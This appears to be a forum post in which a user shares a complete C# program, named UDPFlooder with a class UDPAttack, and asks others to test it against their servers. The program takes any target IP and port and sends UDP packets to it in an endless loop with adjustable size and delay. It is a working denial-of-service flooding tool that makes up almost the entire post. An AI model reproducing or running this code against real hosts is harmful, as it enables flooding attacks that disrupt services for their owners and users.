Because UDP is unreliable protocol i want someone to try my code.
For someone who have server, run my code and send packets to your server and then monitor to your server bandwidth usage
Sender packet size is near to (Server)Receiver packet size ???
Soz for my english.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace UDPFlooder
{
class Program
{
static UDPAttack _UA = new UDPAttack();
static void Main(string[] args)
{
try
{
// Initial variables
_UA.Initial();
// Connect
_UA.SConnect();
// Send Packets
_UA.SendPackets();
}
catch (Exception)
{
Console.WriteLine("An exception from main, socket now will close.");
_UA.SClose();
}
}
}
class UDPAttack
{
// Variables we will use
Socket _Socket;
StringBuilder _SB;
string IP;
string Port;
string TDelay;
string SSize;
public UDPAttack()
{
// Initial
_Socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
_SB = new StringBuilder();
}
// Initial variables
public void Initial()
{
Console.WriteLine("Initial Variables");
Console.WriteLine("----------------------------");
Console.Write("IP Address: ");
IP = Console.ReadLine();
Console.Write("Port: ");
Port = Console.ReadLine();
Console.Write("String size: ");
SSize = Console.ReadLine();
Console.Write("Thread Delay: ");
TDelay = Console.ReadLine();
Console.WriteLine("");
}
// Connect to target
public void SConnect()
{
try
{
_Socket.Connect(IPAddress.Parse(IP), Convert.ToInt32(Port));
Console.WriteLine("Connecting...\t\t\t(OK)");
}
catch (Exception)
{ Console.WriteLine("Connection has failed!"); }
}
// Create Random Message
private string RandomString(int Size)
{
for (int i = 0; i < Size; i++)
{ _SB.Append(i.ToString()); }
return _SB.ToString();
}
// Send Packet
public void SendPackets()
{
try
{
Console.WriteLine("Sending in progress...\t\t(IN PROGRESS)");
while (true)
{
_Socket.Send(Encoding.ASCII.GetBytes(RandomString(Convert.ToInt32(SSize))));
Thread.Sleep(Convert.ToInt32(TDelay));
}
}
catch(Exception)
{ Console.WriteLine("Failed sent packet"); }
}
// Close socket
public void SClose()
{ _Socket.Close(); }
}
}